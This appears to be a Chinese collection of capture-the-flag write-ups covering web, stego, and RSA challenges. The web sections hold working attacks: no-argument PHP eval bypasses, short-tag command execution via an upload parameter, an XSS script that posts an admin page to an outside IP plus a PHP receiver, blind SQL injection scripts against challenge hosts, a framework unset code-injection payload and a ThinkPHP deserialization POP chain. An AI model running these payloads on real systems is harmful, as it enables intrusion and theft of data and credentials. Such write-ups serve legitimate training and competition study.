接下来要执行eval函数,需要通过两个if语句

  • /[^\W]+\((?R)?\)/要匹配无参数的函数,函数内部可以无限嵌套相同的模式,也就是说只匹配字符串+()的类型,并且括号内为空字符串字符串+()
  • 不能使用highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode这些危险函数,包括大小写

scandir()函数返回指定目录中的文件和目录的数组,所以scandir('.')会返回当前文件所在文件夹的目录

var_dump(scandir(‘.’));

但这样无法通过正则表达式,需要讲scandir内部替换为/[^\W]+\((?R)?\)/

chr()函数会返回指定的 ASCII 值对应的字符,而.对应的ASCII值为46

由此构造出:var_dump(scandir(chr(46)));

现在只需要想办法讲构造出一个返回值为46的嵌套函数即可。


查看php版本

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=phpinfo();

版本号为:7.2.24

phpversion()返回7.2.24-0ubuntu0.18.04.7

floor(phpversion())返回7

sin(floor(phpversion()))返回0.65698659871879

sin(sin(floor(phpversion())))返回0.61073350824527

cos(sin(sin(floor(phpversion()))))返回0.81922759437835

rad2deg(cos(sin(sin(floor(phpversion())))))返回46.938283618535

floor(rad2deg(cos(sin(sin(floor(phpversion()))))))返回46

这样便构造出46

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=var_dump(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion())))))))));

返回

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(9) "index.php" [4]=> string(16) "this_is_flag.php" }

flag在this_is_flag.php中,刚好在最后一个文件,通过end()读取最后一个文件,再通过show_source()打印,这样就得到最终的payload:

?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=show_source(end(scandir(chr(floor(rad2deg(cos(sin(sin(floor(phpversion()))))))))));

附:

php 5.x
?code=var_dump(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion())))))))));
?code=show_source(end(scandir(chr(floor(rad2deg(sin(cos(cos(floor(phpversion()))))))))));

WEB2

红明谷签到,WP都发到群里面了没人看。

  • 简单题
  • 用短标签绕过对php的过滤,$IFS$9代替空格。
?action=upload&data=<?=`ls\$IFS\$9/`?>
  • 直接得到文件列表
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
  • 直接用通配符读就好了
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>

WX20210402-202932@2x

WEB3

  • 转义单引号然后注释掉后面的单引号成功逃逸,最后or拼接导致逻辑为真。登录。

WX20210406-203159@2x

  • 提示管理员每条都看,直接XSS先看看行不行,服务器监听一个端口:
WX20210406-203615@2x
  • 构造JS代码,提交至后台
WX20210406-203654@2x
  • 监听到管理员通过这个页面执行了这个JS
WX20210406-203801@2x
  • 构造XHR直接窃取管理员界面,xss.js
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://39.107.126.173:28901/xss.php";   //这里是我们服务器接受的地址
        cc = "htmlcode=" + code +"&filename=index.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);
  • 接受页面脚本:
<?php
        function js_unescape($str) {
                $ret = '';
                $len = strlen($str);
                for ($i = 0;$i < $len;$i++) {
                        if ($str[$i] == '%' && $str[$i + 1] == 'u') {
                                $val = hexdec(substr($str, $i + 2, 4));
                                if ($val < 0x7f) $ret.= chr($val);
                                else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
                                else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
                                $i+= 5;
                        } else if ($str[$i] == '%') {
                                $ret.= urldecode(substr($str, $i, 3));
                                $i+= 2;
                        } else $ret.= $str[$i];
                }
                return $ret;
        }
        $data = js_unescape($_POST['htmlcode']);  //对获得源码js_unescape解码。
        $filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
        $myfile = fopen($filename, "w");
        fwrite($myfile, $data);
        fclose($myfile);
?>
  • 再次提交XSS攻击代码
WX20210406-204304@2x
  • 窃取到管理员页面源码得到flag:
WX20210406-204400@2x

隐藏的书

  • 这个字段如果是奇数那就可能是伪加密,改成偶数解压
WX20210406-205208@2x
  • 根据期刊论文编写脚本,解码就得到flag
<?php
/**
 * @param [String] Strings that need to be Unicode encoded。
 * @author [name] Gqleung
 * @date 2021-03-30 10:22:46
 */
function UnicodeEncode($str){
    preg_match_all('/./u',$str,$matches);
    $unicodeStr = "";
    foreach($matches[0] as $m){
        $unicodeStr .= "\\u".substr('0000'.base_convert(ord($m),10,16),-4);
    }
    return $unicodeStr;
}
/**
 * @param [String] Strings that need to be Unicode Decoded。
 * @author [name] Gqleung
 * @date 2021-03-30 10:22:46
 */
function UnicodeDecode($str){
    $result='';
    $UnicodeStrArry = explode('\\u', $str);
    foreach ($UnicodeStrArry as  $value) {
      if(empty($value))
        continue;
      $result .=  chr(base_convert($value,16,10));
    }

    return $result;
}
/**
 * @param  [String] Strings that need to be Unicode Decoded。
 * @param  [String]
 * @return [type]
 */
function encrypt($laws,$Hiddentext){
  $secret="";
  for($i=0;$i<strlen($Hiddentext);$i++){
    $temp = ord($Hiddentext[$i]);
    $temp = base_convert($temp,10,2);
    $temp = substr('00000000'.$temp,-8); 
    $temp = str_split($temp,4);
    foreach ($temp as $value) {
      $secret  .=  "\\u".substr('0000'.base_convert($value,2,16),-4);
    }
  }
  $secret = UnicodeDecode($secret);
  $Ci = explode(".",$laws);
  $Ca = $Ci[0].".";
  $Cb = $Ci[1];
  $Ciphertext = $Ca.$secret.$Cb;

  return $Ciphertext;
}
function decrypt($Ciphertext){
  $tmp = "";
  $laws = "";
  for($i=0;$i<strlen($Ciphertext);$i++){
    if(!(32<ord($Ciphertext[$i])&&ord($Ciphertext[$i])<127)){
      $tmp .= UnicodeEncode($Ciphertext[$i]);
    }
  }
  $tmp = explode('\u',$tmp);
  $m='';
  for($i=0;$i<count($tmp);$i++){
    if(empty($tmp[$i]))
      continue;
    $t  = substr('0000'.base_convert($tmp[$i],16,2),-4);
    $m .= $t;
    if(strlen($m)==8){
      $laws.=chr(base_convert($m,2,10));
      $m='';
    }
  }
  return $laws;
}
//$a = encrypt("Hello.Gzmtu",$flag = "flag{8f807f74-9088-11eb-b255-00163e0620b4}");
echo decrypt(file_get_contents('flag.txt'));
?>

你能看到图片里的flag吗

用Stegsolve打开key.gif查看详细信息,发现不是每一帧的时间都相同,时间间隔不是20就是30,考虑gif时间隐写

用kali自带的工具提取时间间隔

identify -format "%T" key.gif

得到:

20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030

20替换为030替换为1

<?php
$a = "20303020303020302030302020302020202030302030203020302030303030302030302030202020203030202030203020303030202030202030302020302030";
$a = str_replace('20', '0', $a);
$a = str_replace('30', '1', $a);

echo $a;

得到:

0110110101100100001101010101111101101000011001010111001001100101

通过网站在线转换二进制到字符串:http://www.txttool.com/wenben_binarystr.asp,得到:

md5_here

md5加密后得到:

623a3f3d828099e440475ce285c341ac

即为hint.rar的密码

解压之后得到两个文件

  • hint.txt
使用邻近法放缩图片
图片的宽度和高度在width_height.txt
  • width_height.txt

显然width_height.txt是一组坐标的集合,通过python将这些坐标输出到图片上

from PIL import Image
img = Image.new('RGB', (200, 200), (0, 0, 0))
f = open('width_height.txt')
for line in f.readlines():
    point = line.split()
    img.putpixel((int(point[0]), int(point[1])), (255, 255, 255))
f.close()
img.show()

会得到一张二维码

扫码得到:

width:192 height:90

最后通过PS打开flag.png,按住Ctrl+alt+I调整图片大小

宽度:192,高度:90,使用近邻法放缩

  • flag
flag{Th1s_1s_4_h1dden_F14g}

神秘的铃声

解压得到flag.wav文件010打开存在一个base64

WX20210406-205500@2x

  • 扔Burpsuite解码是PK头说明是ZIP文件,右键Copy to file保存为ZIP文件
WX20210406-205625@2x WX20210406-205744@2x
  • 但是解压需要密码:
WX20210406-205835@2x
  • 刚刚那是一个WAV文件播放是一段DTMF音频,也就是电话机按键的声音,珠海教案有提到一个网站能够识别这个音频,当然也可以写脚本识别。
WX20210406-210020@2x
  • 解码得到压缩包密码:D#*C9A16B
微信图片_20210406165942
  • 解压得到flag.txt是一串坐标,将其转换为图片得到二维码扫码得到flag:
from PIL import Image
img = Image.new('RGB',(500,500),(0,0,0))
#创建Image对象
f = open('flag.txt')#打开flag.txt文件
for line in f.readlines():
    point = line.split()
    img.putpixel((int(point[0]),int(point[1])),(255,255,255))
#读取文件中的每一行,并修改像素
f.close()
img.show()
WX20210406-211110@2x

神秘的网站

  • 扔到wireshark分析根据题目提示是一个神秘的网站,只需要找HTTP即可。hint提示了上传包那么:直接filter过滤出所有POST协议迅速就能找到上传包。
WX20210406-212102@2x
  • 追踪HTTP流发现存在ZIP文件
WX20210406-212311@2x
  • 找到数据包中的ZIP导出为分组字节流保存为zip 文件
WX20210406-214128@2x
  • 得到一个文件和一张图片
WX20210406-214353@2x
  • 图片只能看到一部分说明chunk被破坏过用010打开可以发现chunk4长度很奇怪应该被改过
WX20210406-214609@2x
  • 将其改大可以恢复图片得到一串字符串
WX20210406-214757@2x
  • 还有一个文件结合信条这部电影讲述的就是倒过来的世界所以flag文件可能就是倒过来的文件。
WX20210406-214951@2x
  • 可以看到文件结束是KP可能是PK的倒置,我们写个脚本将其倒置回来:
<?php 
$a = file_get_contents('flag');
file_put_contents("flag.zip",strrev($a));
?>
  • 得到压缩包,压缩包密码就是图片中那串字符串。解压得到一个音频:
WX20210406-215238@2x
  • 同样她也是倒放的音乐,咱们直接将其还原为正常的音乐,使用AU
WX20210406-215422@2x
  • 倒置后网易云识别
WechatIMG2034
  • 评论区拿flag:
WechatIMG87

数学很重要

需要分解n,得到p和q,才能拿到m,即flag

在题目中有:d = gmpy2.invert(e, p*(p-1)*(q-1))

由此来推导模数n的分解:
$$
e * d = k * p * (p-1) * (q-1) + 1
$$

$$
(e * d)^e = [k * p * (p-1) * (q-1) + 1]^e
$$

$$
(e * d)^e = K * p + 1
$$

$$
(e * d)^e % n = (K * p + 1) % n
$$

$$
(e^e % n * d^e % n) % n = (K * p + 1) % n
$$

$$
(e^e * d^e % n) % n = (K * p + 1) % n
$$

$$
(e^e * d^e % n - 1) % n = (K * p) % n
$$

$$
(e^e * d^e % n - 1) + t*n = K * p
$$

$$
\frac{1}{K} * (e^e * d^e % n - 1) + \frac{t}{K}*n = p
$$

$$
p = gcd((e^e * d^e % n - 1) % n, n)
$$

$$
p = gcd((e^e * hint - 1) % n, n)
$$

至此可以分解n = p * p * q,进而求出m

import gmpy2
import libnum

n = 1404864792885309108733640159316826506894236287548379939152849016743435983442699747921846125787195996033503870282773818470039914142701705451809138397049630572740639249477647644261254708528772540978792294225346035639261591427432057453936860038832354440430427494151140007167188185298912810715582637875006928402468687609650245843893636726667943630230916699610263246417106899540475644300775129490776223094431047266427439282518682724978986466077711523145747674327332051810519026006226118101950866725315377926329640394039034742537816196415220996830129516878556074570587486143579684121551028517709279020939236578960627017120428642424734081608822839438555638805913188881032407815526804750217289667978469999465893012019987646121081067553285784264938579036090518539835310642939403312387248525506990916704179728785567091817175793341264114889237623098808526580508172221259938132204690459668424325728699548951520597516996306695162612026923
c = 1056621132858553337843799531931829780532909526893598349757065810082614861897005399538516022339385456921080981930134553531451997667616780694476473935635850906657287327947505250813121839115712839784961838878589687696392168999007259428943177170885096149257761111375426947276207008555385135699868532336069097451167698609146202623839343749042437332344304731408930972252319186875629139934202497457999728524999876011248799301721947182662277983045924969387711620125568428544081394563081888004751018879893766348092204921968270651820590342957624989796768741978229821705472159840676453778980085893882942690791813978120574188104366811115515943434915719899354094207665657376073518852691150218789684229024823845100939031274257318172046382806032216330957494501967155244691377918879968703887945579606252867891939345438276905409978552743142300094751510214632116779662364652019422074762160221347591144466572300812675526052926724548943468469723
hint = 101794688716785217887960897945591243956989900037427176767666512559791995985108215779421011313213384758689708929722203071477840953013038647100924911493828188106127504843466854689586463951519895573419515062134362771498167243657486890676780200214663789335950289873729808283135837361560831229580803000690276177751767706193356374011845264745277604824551554541736615017289493676579496259064630875246918064858049304827949231835533001170204905788972411679518681180136352305431808979840858420025675441100205234779010351872551760580862818923553046506121627173411616799109177911982734522304097798381596915860520993100826264630451736911320052426159472868988436162344618566093403661349180934448297588983261629039054368903969451215957019928944985865422734016492501757272819066148585342366043951355199543153844023840418108988483011676230567828688205989252493165991940377092334291423942549979314542332470846061006424871389380351025361150311
e = 0x10001

p = gmpy2.gcd((pow(e, e) * hint - 1) % n, n)
q = n // pow(p, 2)
phi = p*(p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
  • flag
flag{Mathematics_is_very_important!}

easyRSA

已知c、e、n1、n2,只要能够分解n1,就能够拿到flag

在题目中n1和n2共用一个大质数p,所以n1和n2的最大公因数即为p,这样就能分解n1了

import gmpy2
import libnum

e = 65537
n1 = 19927995886914135335416406082647120895619334038709715664270614604151473749182691765161766917756826761209408429340053534661116540440455731883912107733536490306892185777306017692334819486621137392115368637822832208615896079869167332092773633150006570996052837028257313679389522817781164233607188350606757597836490056930318266077647703629309920052447748365274174530490094908252256551706625163193805930254664728936230312618043386165963458944225026036816776258340041222542638064896328642143272486093326421275373201421890802797828158807121957406664052135737278317985129996476960525575320786302386904366901933941877871977923
n2 = 18891582332322922179757256935338383228362622765536723954262749118724360227437890613511811834258619933112000032816774390665802252670355559592889246899049387975273869584023100438870426265843757686044290924963164327025399130980205072334359825236874676865799829315906270559180981769846264222745663893031262917781276708151305378259082579089031371101323253330053986819164120184785001094503410745573822883437760154804937523455385157947633996347870180978374764506128842545299334183115882288528664242409706229889871455032394406814666870814759869179655535890356720047754561351306758635949531548031922969386197250253432717160713
c = 13464724434881083014378360688491414344998156133411847847874051353940035862995104112542330206199732554180770508723141951625606376158124527681508374976085150535523169426812879850201999337951347258663163526945777620586135979743047015305904146804741356004618021619877806139998460893541631182931447449498967591502111403371136690476476964569301404706879044022446236796126968424261474149501366709514040581812492269780027443526915046387838380291031527967274048028552563236517463115042981801314702717397461735551656092225777678039402709019728332707310411968980746101194493745338399939010674127078293589259391068943187148009190

p = gmpy2.gcd(n1, n2)
q = n1//p
phi = (p-1)*(q-1)

d = gmpy2.invert(e, phi)
m = pow(c, d, n1)
print(libnum.n2s(int(m)))
  • flag
flag{u5e_the_s4me_p}

##

unsetme

题目直接给出源码:

 <?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');
// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();

源码和WMCTF中的一个框架反序列化是同一个框架,网上下载源码来测试一下:

WX20210403-201113@2x

发现/lib/base.php533行有一处eval报错,跟进发现$val是由$hive属性得到。

WX20210403-201457@2x

可以很明显发现$val$key拼接@hive进过正则匹配过滤后再进行替换得到,我们继续跟进$key会发现他来源于__unset魔术方法。

WX20210403-202815@2x

__unset这个魔术方法会在外部使用unset()函数销毁类的属性时候被触发。正好咱们回到·index.php就使用unset来销毁属性。

WX20210403-203036@2x

也就是说$key就是$_GET['a'],测试发现$this->compile会将key替换为[' ']包裹下。这就说明我们需要绕过这个规格才能执行任意代码。

WX20210403-203421@2x

我们跟进$this->compile方法,由于参数2传入就是false咱们直接进入第一个分支。可以看到分支使用preg_replace_callback进行了两次匹配替换。第一次匹配将hive匹配到然后在前面拼接$得到$hive第二次就是把我们传入的字符串给匹配进去,然后用[' ']包裹起来,但是[]并不会被匹配进去。因此咱么可以利用这个特性逃逸,只要写入一个二维数组就行了。

WX20210403-205303@2x
function compile($str, $evaluate=TRUE) {
        return (!$evaluate)
            ? preg_replace_callback(
                '/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
                function($expr) {

                    $str='$'.$expr[1];
                    if (isset($expr[2]))
                        $str.=preg_replace_callback(
                            '/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
                            function($sub) {
                                $val=isset($sub[2]) ? $sub[2] : $sub[1];
                                if (ctype_digit($val))
                                    $val=(int)$val;
                                $out='['.$this->export($val).']';

                                return $out;
                            },
                            $expr[2]
                        );

                    return $str;
                },
                $str
            )
      ....
      略

那么哪里有二维数组呢,当然是在hive属性里找,直接将其输出看到很多

WX20210403-201957@2x

因此构造payload如下:

?a=JAR['expire']);phpinfo(
WX20210403-205529@2x

直接读flag即可:

?a=JAR['expire']);readfile('/flag'

WX20210403-205651@2x

happysql

  • 简单fuzz发现过滤了if,空格、or,and,information,单引号,benchmark,sleep,=,li k,+,-等关键字

  • 但是双引号并未过滤。正好题目也是由双引号包裹的字符串,同时#也没有过滤可以顺利逃逸出来

    WX20210402-194839@2x

    or和and 等逻辑运算符直接用||代替即可。等于号可以使用regexp或者strcmp,而字符串分割可以使用locate代替。||只要一边执行成功就能跳转到home.php

    WX20210402-195828@2x

  • 使用基于运行错误的BOOL盲注(http://www.plasf.cn/articles/spatial_functions_blind_inject.html),例如exp(710)即可溢出报错

WX20210402-195930@2x
  • ​ if使用make_set即可可以构造如下payload:
username=a"||exp(make_set((database()/**/regexp/**/binary/**/0x637466),0x373130,0x31))#&password=
  • 如果猜测正确exp溢出导致SQL执行失败,返回Username or password error!
WX20210402-200946@2x
  • 猜测错误那么返回1,exp不溢出运行正常。
WX20210402-201021@2x
  • 由于information被过滤使用mysql.innodb_index_stats代替发现可以,前面可以猜出数据库是ctf,直接猜表名
  payload = {
  'username':'a"||exp(make_set(strcmp((locate(binary/**/%s,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/binary/**/0x637466),%s)),%s),710,1))#'%(ord2hex(j),i,i),
  'password':''
  }

WX20210402-201424@2x

  • 猜出表名f1ag,但是innodb的方法无法猜出列名,但是可以简单测试出列名的个数为两个。

WX20210402-201712@2x

  • 直接使用无列名注入即可综合上面分析最终EXP为:
#/**/coding=utf-8
import io
import requests
import threading
def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{,_'
flag = ''
sessid = 'flag'
for i in range(1,70):
    for j in tables:
        url = "http://eci-2ze2jur5bqu7g7b1eaws.cloudeci1.ichunqiu.com/login.php"
        payload = {
        'username':'a"||exp(make_set(strcmp((locate(binary/**/%s,(select/**/group_concat(x.2)/**/from/**/(select/**/2/**/union/**/select/**/*/**/from/**/f1ag)x),%d)),%d),710,1))#'%(ord2hex(j),i,i),
        'password':''
        }
        resp = requests.post(url,data=payload)
        #print(payload['username'])
        if 'home.php' in resp.text:
            flag = flag +j
            print(flag)
            break

WX20210402-202003@2x

write_shell

  • 简单题
  • 用短标签绕过对php的过滤,$IFS$9代替空格。
?action=upload&data=<?=`ls\$IFS\$9/`?>
  • 直接得到文件列表
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
  • 直接用通配符读就好了
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>

WX20210402-202932@2x

easytp

  • 扫出源码:www.zip
  • Thinkphp3.2,home控制器存在一个反序列化方法
WX20210402-203826@2x
  • 网上找到一个POP链发现可以用https://www.jianshu.com/p/41782991b4b2

  • 报错注入读到存在一个叫tp的数据库,里面有个叫f14g的表(以为用MYSQL导出日志GETSHELL整了半天在数据库里面)

WX20210402-203648@2x

  • Exp
<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "123456"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(mid((select f14g from tp.f14g),20,70),0x7e),1);#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

预备知识

基于运行错误的Bool型盲注

什么是基于运行错误的Bool型盲注

简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。

Spatial Functions

ST_GeomFromTextST_MPointFromText是两个可以从文本中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数的。

ST_GeomFromText为例:

例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。

mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
+---------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
+---------------------------------------------------+
|                                                 0 |
+---------------------------------------------------+
1 row in set (0.00 sec)

WX20210126-011441@2x

假设我们将if的表达式改成false呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

WX20210126-012024@2x

总结,其他可用的函数:

SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

解题过程

经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:

WX20210126-014859@2x

我们可以借此FUZZ出被ban掉的关键字:

union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
  • 这里过滤了空格,这里可以直接用\t来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。

  • 过滤了单双引号,可以使用十六进制来代替字符串。

  • 过滤了if可以使用case when....then....else...end代替

  • 过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp

我们通过上面所讲解的ST_GeomFromText,结合上述过滤考点,构造如下payload,当然空格要用%09代替。

index.php?id=1    and    case    WHEN    user()    regexp    0x61    then    ST_X(ST_GeomFromText(0x504F494E54286D61647329))    else    0    end

如果if表达式为false可以发现返回正常的页面:

WX20210127-211626@2x

若if表达式为true,那么将会返回运行错误的页面:

WX20210127-211536@2x

EXP

据此编写Python脚本:

#author:Gqleung
#Email:  admin@plasf.cn
#blog:   http://www.plasf.cn

import requests

def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

url = "http://39.107.126.173:7890"
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
flag=1
result2=""
for i in range(1,70):
    for j in tables:
        payload = "/index.php?id=1    and    case    WHEN    (select    flag    from    flag)    regexp    binary    %s    then    ST_X(ST_GeomFromText(0x504F494E54286D61647329))    else    0    end"%(ord2hex('^'+result+j))    
        r = requests.get(url+payload);
        if 'cat' not in r.text:
            result=result+j
            print(result)
            break

运行结果:

WX20210127-213047@2x